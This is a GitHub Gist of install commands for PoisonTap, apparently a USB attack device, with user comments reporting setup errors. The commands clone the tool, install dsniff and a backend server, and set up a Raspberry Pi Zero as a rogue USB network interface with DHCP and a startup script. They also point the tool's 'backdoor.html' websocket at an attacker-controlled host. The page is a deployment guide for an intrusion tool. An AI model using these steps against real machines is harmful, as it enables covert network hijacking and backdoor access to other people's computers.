Created
November 19, 2016 02:06
-
-
Save jgamblin/459d7db3b4e8441cc210b35abb5d7181 to your computer and use it in GitHub Desktop.
PoisonTap Install Commands
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
##Server: | |
sudo apt-get update && apt-get upgrade | |
sudo apt-get install screen nodejs nodejs-legacy git npm | |
sudo npm install websocket | |
git clone https://github.com/samyk/poisontap | |
screen | |
sudo node backend_server.js | |
##piZero: | |
sudo apt-get update && apt-get upgrade | |
sudo apt-get -y install isc-dhcp-server dsniff screen nodejs git | |
git clone https://github.com/samyk/poisontap | |
Update ws://YOUR.DOMAIN:1337 in backdoor.html to your public IP | |
ws://poisontap.jgamblin.com:1337 | |
#add this to /etc/network/interfaces: | |
auto usb0 | |
allow-hotplug usb0 | |
iface usb0 inet static | |
address 1.0.0.1 | |
netmask 0.0.0.0 | |
#Setup to run at boot: | |
sudo cp /home/pi/poisontap/pi_startup.sh /etc/init.d/ && sudo chmod +x /etc/init.d/pi_startup.sh | |
add this to /etc/rc.local right above exit 0: | |
/etc/init.d/pi_startup.sh & | |
#DHCP: | |
sudo cp -f dhcpd.conf /etc/dhcp/dhcpd.conf | |
add this to /etc/default/isc-dhcp-server: | |
INTERFACES="usb0" |
I too am getting this error on start up:
ln: failed to create symbolic link ‘configs/c.1/acm.usb0’: File exists
sh: echo: I/O error
sh: echo: I/O error
ln: failed to create symbolic link ‘configs/c.1/ecm.usb0’: File exists
ls: write error: Device or resource busy
ifup: interface usb0 already configured
SIOCADDRT: File exists
anyone knows if this is because I am setting up the device via usb ?
can someone please help @ajdulion how did you get this working?
@eliddell1 @ajdulion i have exactly the same problem, can you help me please ?
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
does anyone have a tutorial on getting the back end server running I'm not having any luck with it